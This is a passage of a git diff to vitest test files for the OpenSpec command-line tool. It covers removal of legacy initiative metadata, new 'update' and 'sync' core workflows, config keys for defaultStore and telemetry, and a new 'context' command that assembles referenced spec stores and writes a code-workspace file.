${result.command}\nstdout:\n${result.stdout}\nstderr:\n${result.stderr}\n${String(error)}` + ); + } + } + + function changeDir(id: string): string { + return path.join(tempDir, 'openspec', 'changes', id); + } + + function createLegacyLinkedChange(id: string): string { + const dir = changeDir(id); + fs.mkdirSync(dir, { recursive: true }); + fs.writeFileSync( + path.join(dir, 'proposal.md'), + '## Why\nLegacy change.\n\n## What Changes\n- **billing:** Something\n' + ); + fs.writeFileSync( + path.join(dir, '.openspec.yaml'), + 'schema: spec-driven\ninitiative:\n store: platform\n id: billing-launch\n' + ); + return dir; + } + + it('keeps reading existing initiative metadata without modifying it', async () => { + const dir = createLegacyLinkedChange('legacy-change'); + const metadataPath = path.join(dir, '.openspec.yaml'); + const before = fs.readFileSync(metadataPath, 'utf-8'); + + const status = await runCLI(['status', '--change', 'legacy-change', '--json'], { + cwd: tempDir, + env, + }); + expect(status.exitCode).toBe(0); + const statusJson = parseJson(status); + // The legacy link is parsed (user data tolerated) but no longer + // re-emitted on any user-facing surface (capstone vocabulary fix). + expect('initiative' in statusJson).toBe(false); + + const list = await runCLI(['list', '--json'], { cwd: tempDir, env }); + expect(list.exitCode).toBe(0); + expect(parseJson(list).changes.map((c: any) => c.name)).toContain('legacy-change'); + + expect(fs.readFileSync(metadataPath, 'utf-8')).toBe(before); + expect(readChangeMetadata(changeDir('legacy-change'), tempDir)?.initiative).toEqual({ + store: 'platform', + id: 'billing-launch', + }); + }); + + it('creates no initiative metadata for new changes', async () => { + const result = await runCLI(['new', 'change', 'fresh-change', '--json'], { + cwd: tempDir, + env, + }); + expect(result.exitCode).toBe(0); + const json = parseJson(result); + expect(json.initiative).toBeUndefined(); + + const metadata = readChangeMetadata(changeDir('fresh-change'), tempDir); + expect(metadata?.initiative).toBeUndefined(); + }); + + it('rejects new change --initiative without writing files', async () => { + const result = await runCLI( + ['new', 'change', 'linked-change', '--initiative', 'billing-launch', '--json'], + { cwd: tempDir, env } + ); + expect(result.exitCode).toBe(1); + const json = parseJson(result); + expect(json.change).toBeNull(); + expect(json.status[0].code).toBe('initiative_option_removed'); + expect(fs.existsSync(changeDir('linked-change'))).toBe(false); + }); + + it('no longer provides openspec set change', async () => { + createLegacyLinkedChange('legacy-change'); + + const result = await runCLI( + ['set', 'change', 'legacy-change', '--initiative', 'other-initiative'], + { cwd: tempDir, env } + ); + expect(result.exitCode).not.toBe(0); + expect(result.stdout + result.stderr).toContain('unknown command'); + + // Metadata untouched. + expect(readChangeMetadata(changeDir('legacy-change'), tempDir)?.initiative).toEqual({ + store: 'platform', + id: 'billing-launch', + }); + }); +}); diff --git a/test/commands/change.interactive-show.test.ts b/test/commands/change.interactive-show.test.ts index b4dee52d57..426117fc42 100644 --- a/test/commands/change.interactive-show.test.ts +++ b/test/commands/change.interactive-show.test.ts @@ -1,7 +1,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; -import { execSync } from 'child_process'; +import { execFileSync } from 'child_process'; describe('change show (interactive behavior)', () => { const projectRoot = process.cwd(); @@ -29,7 +29,7 @@ describe('change show (interactive behavior)', () => { process.env.OPEN_SPEC_INTERACTIVE = '0'; let err: any; try { - execSync(`node ${bin} change show`, { encoding: 'utf-8' }); + execFileSync('node', [bin, 'change', 'show'], { encoding: 'utf-8' }); } catch (e) { err = e; } expect(err).toBeDefined(); expect(err.status).not.toBe(0); diff --git a/test/commands/change.interactive-validate.test.ts b/test/commands/change.interactive-validate.test.ts index 33484ab2ba..1872e68ec5 100644 --- a/test/commands/change.interactive-validate.test.ts +++ b/test/commands/change.interactive-validate.test.ts @@ -1,7 +1,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; -import { execSync } from 'child_process'; +import { execFileSync } from 'child_process'; // Note: We cannot truly simulate TTY prompts in this test runner easily. // Instead, we verify non-interactive fallback behavior and basic invocation. @@ -32,7 +32,7 @@ describe('change validate (interactive behavior)', () => { process.env.OPEN_SPEC_INTERACTIVE = '0'; let err: any; try { - execSync(`node ${bin} change validate`, { encoding: 'utf-8' }); + execFileSync('node', [bin, 'change', 'validate'], { encoding: 'utf-8' }); } catch (e) { err = e; } expect(err).toBeDefined(); expect(err.status).not.toBe(0); diff --git a/test/commands/completion.test.ts b/test/commands/completion.test.ts index 07b6d9e12c..435c30d2bb 100644 --- a/test/commands/completion.test.ts +++ b/test/commands/completion.test.ts @@ -244,6 +244,15 @@ describe('CompletionCommand', () => { }); }); + describe('dynamic completion data', () => { + it('should output schema names for shell completion', async () => { + await command.complete({ type: 'schemas' }); + + expect(consoleLogSpy).toHaveBeenCalledWith('spec-driven\tschema'); + expect(process.exitCode).toBe(0); + }); + }); + describe('shell detection integration', () => { it('should show appropriate error when detected shell is unsupported', async () => { vi.mocked(shellDetection.detectShell).mockReturnValue({ shell: undefined, detected: 'tcsh' }); diff --git a/test/commands/config-profile.test.ts b/test/commands/config-profile.test.ts index ef116693ab..bb130a8f64 100644 --- a/test/commands/config-profile.test.ts +++ b/test/commands/config-profile.test.ts @@ -64,12 +64,12 @@ describe('deriveProfileFromWorkflowSelection', () => { it('returns custom when selection is a superset of core workflows', async () => { const { deriveProfileFromWorkflowSelection } = await import('../../src/commands/config.js'); - expect(deriveProfileFromWorkflowSelection(['propose', 'explore', 'apply', 'archive', 'new'])).toBe('custom'); + expect(deriveProfileFromWorkflowSelection(['propose', 'explore', 'apply', 'update', 'sync', 'archive', 'new'])).toBe('custom'); }); it('returns core when selection has exactly core workflows in different order', async () => { const { deriveProfileFromWorkflowSelection } = await import('../../src/commands/config.js'); - expect(deriveProfileFromWorkflowSelection(['archive', 'apply', 'explore', 'propose'])).toBe('core'); + expect(deriveProfileFromWorkflowSelection(['archive', 'sync', 'update', 'apply', 'explore', 'propose'])).toBe('core'); }); }); @@ -95,6 +95,8 @@ describe('config profile interactive flow', () => { 'openspec-propose', 'openspec-explore', 'openspec-apply-change', + 'openspec-update-change', + 'openspec-sync-specs', 'openspec-archive-change', ]; for (const dirName of coreSkillDirs) { @@ -103,7 +105,7 @@ describe('config profile interactive flow', () => { fs.writeFileSync(skillPath, `name: ${dirName}\n`, 'utf-8'); } - const coreCommands = ['propose', 'explore', 'apply', 'archive']; + const coreCommands = ['propose', 'explore', 'apply', 'update', 'sync', 'archive']; for (const commandId of coreCommands) { const commandPath = path.join(projectDir, '.claude', 'commands', 'opsx', `${commandId}.md`); fs.mkdirSync(path.dirname(commandPath), { recursive: true }); @@ -111,21 +113,20 @@ describe('config profile interactive flow', () => { } } - function addExtraSyncWorkflowArtifacts(projectDir: string): void { - const syncSkillPath = path.join(projectDir, '.claude', 'skills', 'openspec-sync-specs', 'SKILL.md'); - fs.mkdirSync(path.dirname(syncSkillPath), { recursive: true }); - fs.writeFileSync(syncSkillPath, 'name: openspec-sync-specs\n', 'utf-8'); + function addExtraVerifyWorkflowArtifacts(projectDir: string): void { + const verifySkillPath = path.join(projectDir, '.claude', 'skills', 'openspec-verify-change', 'SKILL.md'); + fs.mkdirSync(path.dirname(verifySkillPath), { recursive: true }); + fs.writeFileSync(verifySkillPath, 'name: openspec-verify-change\n', 'utf-8'); - const syncCommandPath = path.join(projectDir, '.claude', 'commands', 'opsx', 'sync.md'); - fs.mkdirSync(path.dirname(syncCommandPath), { recursive: true }); - fs.writeFileSync(syncCommandPath, '# sync\n', 'utf-8'); + const verifyCommandPath = path.join(projectDir, '.claude', 'commands', 'opsx', 'verify.md'); + fs.mkdirSync(path.dirname(verifyCommandPath), { recursive: true }); + fs.writeFileSync(verifyCommandPath, '# verify\n', 'utf-8'); } beforeEach(() => { vi.resetModules(); - tempDir = path.join(os.tmpdir(), `openspec-config-profile-test-${Date.now()}-${Math.random().toString(36).slice(2)}`); - fs.mkdirSync(tempDir, { recursive: true }); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-config-profile-test-')); originalEnv = { ...process.env }; originalCwd = process.cwd(); @@ -142,6 +143,7 @@ describe('config profile interactive flow', () => { }); afterEach(() => { + vi.unstubAllEnvs(); process.env = originalEnv; process.chdir(originalCwd); (process.stdout as NodeJS.WriteStream & { isTTY?: boolean }).isTTY = originalTTY; @@ -157,7 +159,7 @@ describe('config profile interactive flow', () => { const { saveGlobalConfig, getGlobalConfig } = await import('../../src/core/global-config.js'); const { select, checkbox } = await getPromptMocks(); - saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'archive'] }); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); select.mockResolvedValueOnce('delivery'); select.mockResolvedValueOnce('skills'); @@ -172,7 +174,7 @@ describe('config profile interactive flow', () => { const { saveGlobalConfig } = await import('../../src/core/global-config.js'); const { select } = await getPromptMocks(); - saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'archive'] }); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); select.mockResolvedValueOnce('keep'); await runConfigCommand(['profile']); @@ -200,7 +202,7 @@ describe('config profile interactive flow', () => { const { ALL_WORKFLOWS } = await import('../../src/core/profiles.js'); const { select, checkbox } = await getPromptMocks(); - saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'archive'] }); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); select.mockResolvedValueOnce('workflows'); checkbox.mockResolvedValueOnce(['propose', 'explore']); @@ -244,9 +246,9 @@ describe('config profile interactive flow', () => { const { saveGlobalConfig } = await import('../../src/core/global-config.js'); const { select, checkbox } = await getPromptMocks(); - saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'archive'] }); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); select.mockResolvedValueOnce('workflows'); - checkbox.mockResolvedValueOnce(['propose', 'explore', 'apply', 'archive']); + checkbox.mockResolvedValueOnce(['propose', 'explore', 'apply', 'sync', 'archive']); await runConfigCommand(['profile']); @@ -270,7 +272,7 @@ describe('config profile interactive flow', () => { const { saveGlobalConfig, getGlobalConfigPath } = await import('../../src/core/global-config.js'); const { select, confirm } = await getPromptMocks(); - saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'archive'] }); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); const configPath = getGlobalConfigPath(); const beforeContent = fs.readFileSync(configPath, 'utf-8'); @@ -290,7 +292,7 @@ describe('config profile interactive flow', () => { const { saveGlobalConfig } = await import('../../src/core/global-config.js'); const { select } = await getPromptMocks(); - saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'archive'] }); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); setupDriftedProjectArtifacts(tempDir); select.mockResolvedValueOnce('keep'); @@ -304,7 +306,7 @@ describe('config profile interactive flow', () => { const { saveGlobalConfig } = await import('../../src/core/global-config.js'); const { select } = await getPromptMocks(); - saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'archive'] }); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); setupSyncedCoreBothArtifacts(tempDir); select.mockResolvedValueOnce('keep'); @@ -318,7 +320,7 @@ describe('config profile interactive flow', () => { const { saveGlobalConfig } = await import('../../src/core/global-config.js'); const { select, confirm } = await getPromptMocks(); - saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'archive'] }); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); setupDriftedProjectArtifacts(tempDir); select.mockResolvedValueOnce('delivery'); select.mockResolvedValueOnce('both'); @@ -334,9 +336,9 @@ describe('config profile interactive flow', () => { const { saveGlobalConfig } = await import('../../src/core/global-config.js'); const { select } = await getPromptMocks(); - saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'archive'] }); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); setupSyncedCoreBothArtifacts(tempDir); - addExtraSyncWorkflowArtifacts(tempDir); + addExtraVerifyWorkflowArtifacts(tempDir); select.mockResolvedValueOnce('keep'); await runConfigCommand(['profile']); @@ -349,7 +351,7 @@ describe('config profile interactive flow', () => { const { saveGlobalConfig, getGlobalConfig } = await import('../../src/core/global-config.js'); const { select, confirm } = await getPromptMocks(); - saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'archive'] }); + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); fs.mkdirSync(path.join(tempDir, 'openspec'), { recursive: true }); select.mockResolvedValueOnce('delivery'); @@ -365,6 +367,54 @@ describe('config profile interactive flow', () => { }); }); + it('confirmed project apply should update in process without resolving openspec from PATH', async () => { + const { saveGlobalConfig, getGlobalConfig } = await import('../../src/core/global-config.js'); + const { select, confirm } = await getPromptMocks(); + + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); + fs.mkdirSync(path.join(tempDir, 'openspec'), { recursive: true }); + const emptyBinDir = path.join(tempDir, 'empty-bin'); + fs.mkdirSync(emptyBinDir); + vi.stubEnv('PATH', emptyBinDir); + + select.mockResolvedValueOnce('delivery'); + select.mockResolvedValueOnce('skills'); + confirm.mockResolvedValueOnce(true); + + await runConfigCommand(['profile']); + + expect(getGlobalConfig().delivery).toBe('skills'); + expect(process.exitCode).toBeUndefined(); + expect(consoleErrorSpy).not.toHaveBeenCalled(); + expect(consoleLogSpy).toHaveBeenCalledWith('No configured tools found.'); + expect(consoleLogSpy).toHaveBeenCalledWith('Run `openspec update` in your other projects to apply.'); + }); + + it('confirmed project apply should report the update failure reason', async () => { + const { saveGlobalConfig } = await import('../../src/core/global-config.js'); + const { UpdateCommand } = await import('../../src/core/update.js'); + const { select, confirm } = await getPromptMocks(); + + saveGlobalConfig({ featureFlags: {}, profile: 'core', delivery: 'both', workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] }); + fs.mkdirSync(path.join(tempDir, 'openspec'), { recursive: true }); + const executeSpy = vi.spyOn(UpdateCommand.prototype, 'execute') + .mockRejectedValueOnce(new Error('permission denied')); + + select.mockResolvedValueOnce('delivery'); + select.mockResolvedValueOnce('skills'); + confirm.mockResolvedValueOnce(true); + + try { + await runConfigCommand(['profile']); + } finally { + executeSpy.mockRestore(); + } + + expect(consoleErrorSpy).toHaveBeenCalledWith('`openspec update` failed: permission denied'); + expect(consoleErrorSpy).toHaveBeenCalledWith('Please run it manually to apply the profile changes.'); + expect(process.exitCode).toBe(1); + }); + it('core preset should preserve delivery setting', async () => { const { saveGlobalConfig, getGlobalConfig } = await import('../../src/core/global-config.js'); const { select, checkbox, confirm } = await getPromptMocks(); @@ -376,7 +426,7 @@ describe('config profile interactive flow', () => { const config = getGlobalConfig(); expect(config.profile).toBe('core'); expect(config.delivery).toBe('skills'); - expect(config.workflows).toEqual(['propose', 'explore', 'apply', 'archive']); + expect(config.workflows).toEqual(['propose', 'explore', 'apply', 'update', 'sync', 'archive']); expect(select).not.toHaveBeenCalled(); expect(checkbox).not.toHaveBeenCalled(); expect(confirm).not.toHaveBeenCalled(); diff --git a/test/commands/config.test.ts b/test/commands/config.test.ts index 68ea43f3b4..92096d266e 100644 --- a/test/commands/config.test.ts +++ b/test/commands/config.test.ts @@ -1,18 +1,26 @@ import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { Command } from 'commander'; import * as fs from 'node:fs'; import * as path from 'node:path'; import * as os from 'node:os'; +async function runConfigCommand(args: string[]): Promise<void> { + const { registerConfigCommand } = await import('../../src/commands/config.js'); + const program = new Command(); + registerConfigCommand(program); + await program.parseAsync(['node', 'openspec', 'config', ...args]); +} + describe('config command integration', () => { // These tests use real file system operations with XDG_CONFIG_HOME override let tempDir: string; let originalEnv: NodeJS.ProcessEnv; let consoleErrorSpy: ReturnType<typeof vi.spyOn>; + let consoleLogSpy: ReturnType<typeof vi.spyOn>; beforeEach(() => { // Create unique temp directory for each test - tempDir = path.join(os.tmpdir(), `openspec-config-test-${Date.now()}-${Math.random().toString(36).slice(2)}`); - fs.mkdirSync(tempDir, { recursive: true }); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-config-test-')); // Save original env and set XDG_CONFIG_HOME originalEnv = { ...process.env }; @@ -20,6 +28,7 @@ describe('config command integration', () => { // Spy on console.error consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); + consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); }); afterEach(() => { @@ -31,6 +40,7 @@ describe('config command integration', () => { // Restore spies consoleErrorSpy.mockRestore(); + consoleLogSpy.mockRestore(); // Reset module cache to pick up new XDG_CONFIG_HOME vi.resetModules(); @@ -89,6 +99,83 @@ describe('config command integration', () => { expect(config.featureFlags).toEqual({}); expect(consoleErrorSpy).toHaveBeenCalledWith(expect.stringContaining('Invalid JSON')); }); + + it('should set workflows from JSON array syntax', async () => { + await runConfigCommand([ + 'set', + 'workflows', + '["new","ff","apply","archive"]', + ]); + + const { getGlobalConfig } = await import('../../src/core/global-config.js'); + const config = getGlobalConfig(); + + expect(config.workflows).toEqual(['new', 'ff', 'apply', 'archive']); + expect(consoleLogSpy).toHaveBeenCalledWith( + 'Set workflows = new,ff,apply,archive' + ); + }); + + it('should set, get, and unset defaultStore', async () => { + await runConfigCommand(['set', 'defaultStore', 'team-plans']); + + const { getGlobalConfig } = await import('../../src/core/global-config.js'); + expect(getGlobalConfig().defaultStore).toBe('team-plans'); + expect(consoleLogSpy).toHaveBeenCalledWith('Set defaultStore = "team-plans"'); + + await runConfigCommand(['get', 'defaultStore']); + expect(consoleLogSpy).toHaveBeenCalledWith('team-plans'); + + await runConfigCommand(['unset', 'defaultStore']); + expect(getGlobalConfig().defaultStore).toBeUndefined(); + }); + + it('should set, get, and unset telemetry.enabled without wiping identity fields', async () => { + const { getGlobalConfigDir, getGlobalConfig } = await import('../../src/core/global-config.js'); + const configDir = getGlobalConfigDir(); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.json'), + JSON.stringify({ + featureFlags: {}, + profile: 'core', + delivery: 'both', + telemetry: { anonymousId: 'keep-id', noticeSeen: true }, + }) + ); + + await runConfigCommand(['set', 'telemetry.enabled', 'false']); + expect(consoleLogSpy).toHaveBeenCalledWith('Set telemetry.enabled = false'); + expect(getGlobalConfig().telemetry).toEqual({ + anonymousId: 'keep-id', + noticeSeen: true, + enabled: false, + }); + + await runConfigCommand(['get', 'telemetry.enabled']); + expect(consoleLogSpy).toHaveBeenCalledWith('false'); + + await runConfigCommand(['unset', 'telemetry.enabled']); + expect(getGlobalConfig().telemetry).toEqual({ + anonymousId: 'keep-id', + noticeSeen: true, + }); + }); + + it('should reject unknown nested telemetry keys without --allow-unknown', async () => { + const previousExitCode = process.exitCode; + process.exitCode = undefined; + + try { + await runConfigCommand(['set', 'telemetry.anonymousId', 'x']); + expect(process.exitCode).toBe(1); + expect(consoleErrorSpy).toHaveBeenCalledWith( + expect.stringContaining('Invalid configuration key "telemetry.anonymousId"') + ); + } finally { + process.exitCode = previousExitCode; + } + }); }); describe('config command shell completion registry', () => { @@ -187,6 +274,32 @@ describe('config key validation', () => { const { validateConfigKeyPath } = await import('../../src/core/config-schema.js'); expect(validateConfigKeyPath('workflows').valid).toBe(true); }); + + it('allows defaultStore key', async () => { + const { validateConfigKeyPath } = await import('../../src/core/config-schema.js'); + expect(validateConfigKeyPath('defaultStore').valid).toBe(true); + }); + + it('rejects nested keys under defaultStore', async () => { + const { validateConfigKeyPath } = await import('../../src/core/config-schema.js'); + expect(validateConfigKeyPath('defaultStore.nested').valid).toBe(false); + }); + + it('allows telemetry.enabled', async () => { + const { validateConfigKeyPath } = await import('../../src/core/config-schema.js'); + expect(validateConfigKeyPath('telemetry.enabled').valid).toBe(true); + }); + + it('rejects bare telemetry key', async () => { + const { validateConfigKeyPath } = await import('../../src/core/config-schema.js'); + expect(validateConfigKeyPath('telemetry').valid).toBe(false); + }); + + it('rejects unknown nested telemetry keys', async () => { + const { validateConfigKeyPath } = await import('../../src/core/config-schema.js'); + expect(validateConfigKeyPath('telemetry.anonymousId').valid).toBe(false); + expect(validateConfigKeyPath('telemetry.foo').valid).toBe(false); + }); }); describe('config profile command', () => { @@ -194,8 +307,7 @@ describe('config profile command', () => { let originalEnv: NodeJS.ProcessEnv; beforeEach(() => { - tempDir = path.join(os.tmpdir(), `openspec-profile-test-${Date.now()}-${Math.random().toString(36).slice(2)}`); - fs.mkdirSync(tempDir, { recursive: true }); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-profile-test-')); originalEnv = { ...process.env }; process.env.XDG_CONFIG_HOME = tempDir; }); @@ -223,7 +335,7 @@ describe('config profile command', () => { const result = getGlobalConfig(); expect(result.profile).toBe('core'); expect(result.delivery).toBe('skills'); // preserved - expect(result.workflows).toEqual(['propose', 'explore', 'apply', 'archive']); + expect(result.workflows).toEqual(['propose', 'explore', 'apply', 'update', 'sync', 'archive']); }); it('custom workflow selection should set profile to custom', async () => { diff --git a/test/commands/context.test.ts b/test/commands/context.test.ts new file mode 100644 index 0000000000..ccb7064d58 --- /dev/null +++ b/test/commands/context.test.ts @@ -0,0 +1,233 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { getGlobalDataDir, registerStore } from '../../src/core/index.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { createOpenSpecRoot } from '../helpers/openspec-fixtures.js'; +import { snapshotDirectory as snapshot } from '../helpers/fs-snapshot.js'; +import { cleanupTempPath } from '../helpers/temp-cleanup.js'; + +const CONTEXT_MATRIX_TIMEOUT_MS = 30_000; + +describe('openspec context (4.1)', () => { + let tempDir: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + let storeRoot: string; + let upstream: string; + + beforeEach(async () => { + tempDir = fs.realpathSync.native(fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-context-'))); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + globalDataDir = getGlobalDataDir({ env }); + + storeRoot = path.join(tempDir, 'team-context'); + createOpenSpecRoot(storeRoot); + await registerStore({ id: 'team-context', localPath: storeRoot, globalDataDir }); + + upstream = path.join(tempDir, 'upstream-context'); + createOpenSpecRoot(upstream); + await registerStore({ id: 'upstream-context', localPath: upstream, globalDataDir }); + + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\n' + + 'references:\n - upstream-context\n - { id: design-system, remote: https://192.0.2.1/ds.git }\n' + ); + }); + + afterEach(() => { + cleanupTempPath(tempDir); + }); + + function parseJson(result: RunCLIResult): any { + return JSON.parse(result.stdout); + } + + it('assembles the working set from declarations, all session shapes', async () => { + const result = await runCLI(['context', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + expect(result.exitCode).toBe(0); + const workingSet = parseJson(result); + expect(workingSet.root).toEqual({ + path: storeRoot, + source: 'store', + store_id: 'team-context', + role: 'openspec_root', + }); + expect(workingSet.members).toEqual([ + { + role: 'referenced_store', + id: 'upstream-context', + path: upstream, + fetch: 'openspec show <spec-id> --type spec --store upstream-context', + status: [], + }, + { + role: 'referenced_store', + id: 'design-system', + status: [ + expect.objectContaining({ + code: 'reference_unresolved', + fix: expect.stringContaining('git clone -- https://192.0.2.1/ds.git'), + }), + ], + }, + ]); + expect(workingSet.status).toEqual([]); + + const human = await runCLI(['context', '--store', 'team-context'], { cwd: tempDir, env }); + expect(human.exitCode).toBe(0); + expect(human.stdout).toContain(`Working context for team-context (${storeRoot})`); + expect(human.stdout).toContain(` upstream-context ${upstream}`); + expect(human.stdout).toContain('Fetch: openspec show <spec-id> --type spec --store upstream-context'); + expect(human.stdout).toContain('Not available on this machine'); + expect(human.stdout).toContain('Fix: git clone --'); + + // Nearest-root session. + const nearest = await runCLI(['context', '--json'], { cwd: storeRoot, env }); + expect(parseJson(nearest).root.source).toBe('nearest'); + + // Declared-pointer session. + const pointerRepo = path.join(tempDir, 'app-repo'); + fs.mkdirSync(path.join(pointerRepo, 'openspec'), { recursive: true }); + fs.writeFileSync(path.join(pointerRepo, 'openspec', 'config.yaml'), 'store: team-context\n'); + const declared = await runCLI(['context', '--json'], { cwd: pointerRepo, env }); + expect(parseJson(declared).root.source).toBe('declared'); + expect(parseJson(declared).root.path).toBe(storeRoot); + expect(parseJson(declared).members).toHaveLength(2); + + // Global-default session: no root, no pointer — provenance must name + // the machine-level default, not masquerade as a repo pointer. + fs.mkdirSync(path.join(tempDir, 'config', 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(tempDir, 'config', 'openspec', 'config.json'), + JSON.stringify({ defaultStore: 'team-context' }) + '\n' + ); + const scratch = path.join(tempDir, 'no-root-here'); + fs.mkdirSync(scratch, { recursive: true }); + const fallback = await runCLI(['context', '--json'], { cwd: scratch, env }); + expect(parseJson(fallback).root.source).toBe('global_default'); + expect(parseJson(fallback).root.path).toBe(storeRoot); + expect(parseJson(fallback).root.store_id).toBe('team-context'); + expect(parseJson(fallback).members).toHaveLength(2); + }, CONTEXT_MATRIX_TIMEOUT_MS); + + it('distinguishes self-reference omission from nothing declared', async () => { + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - team-context\n' + ); + const human = await runCLI(['context', '--store', 'team-context'], { cwd: tempDir, env }); + expect(human.stdout).toContain('Declared references all resolve to this root'); + expect(human.stdout).not.toContain('No references declared'); + }); + + it('says so plainly when nothing is declared', async () => { + fs.writeFileSync(path.join(storeRoot, 'openspec', 'config.yaml'), 'schema: spec-driven\n'); + const human = await runCLI(['context', '--store', 'team-context'], { cwd: tempDir, env }); + expect(human.stdout).toContain('the working set is this root alone'); + const json = await runCLI(['context', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + expect(parseJson(json).members).toEqual([]); + }); + + it('emits the code-workspace view with the pinned write matrix', async () => { + const outPath = path.join(tempDir, 'team.code-workspace'); + + // Fresh write: available members only, unresolved on stderr. + const fresh = await runCLI( + ['context', '--store', 'team-context', '--code-workspace', outPath], + { cwd: tempDir, env } + ); + expect(fresh.exitCode).toBe(0); + expect(fresh.stderr).toContain('not available: design-system'); + const file = JSON.parse(fs.readFileSync(outPath, 'utf-8')); + expect(file.folders).toEqual([ + { name: 'team-context', path: storeRoot }, + { name: 'ref:upstream-context', path: upstream }, + ]); + + // Exists without --force: typed refusal, exit 1. + const refused = await runCLI( + ['context', '--store', 'team-context', '--code-workspace', outPath], + { cwd: tempDir, env } + ); + expect(refused.exitCode).toBe(1); + expect(refused.stderr).toContain(`Refusing to overwrite ${outPath}`); + expect(refused.stderr).toContain('--force'); + + // With --force: overwrites. + const forced = await runCLI( + ['context', '--store', 'team-context', '--code-workspace', outPath, '--force'], + { cwd: tempDir, env } + ); + expect(forced.exitCode).toBe(0); + + // Missing parent dir: clear error, no mkdir. + const nested = path.join(tempDir, 'no-such-dir', 'x.code-workspace'); + const badDir = await runCLI( + ['context', '--store', 'team-context', '--code-workspace', nested], + { cwd: tempDir, env } + ); + expect(badDir.exitCode).toBe(1); + expect(badDir.stderr).toContain('Output directory does not exist'); + expect(fs.existsSync(path.dirname(nested))).toBe(false); + + // JSON mode: stdout stays the pure brief; confirmation on stderr. + const jsonOut = path.join(tempDir, 'json.code-workspace'); + const jsonMode = await runCLI( + ['context', '--json', '--store', 'team-context', '--code-workspace', jsonOut], + { cwd: tempDir, env } + ); + expect(jsonMode.exitCode).toBe(0); + expect(() => JSON.parse(jsonMode.stdout)).not.toThrow(); + expect(jsonMode.stderr).toContain(`Wrote ${jsonOut}`); + + // JSON mode write FAILURE: exactly one JSON document on stdout (the + // failure payload), never the brief plus a second payload. + const jsonRefused = await runCLI( + ['context', '--json', '--store', 'team-context', '--code-workspace', jsonOut], + { cwd: tempDir, env } + ); + expect(jsonRefused.exitCode).toBe(1); + const failurePayload = JSON.parse(jsonRefused.stdout); + expect(failurePayload.root).toBeNull(); + expect(failurePayload.status[0].code).toBe('context_file_exists'); + + const jsonBadDir = await runCLI( + ['context', '--json', '--store', 'team-context', '--code-workspace', nested], + { cwd: tempDir, env } + ); + expect(jsonBadDir.exitCode).toBe(1); + expect(JSON.parse(jsonBadDir.stdout).status[0].code).toBe('context_output_dir_missing'); + }, CONTEXT_MATRIX_TIMEOUT_MS); + + it('is read-only except the requested file and fails with the null 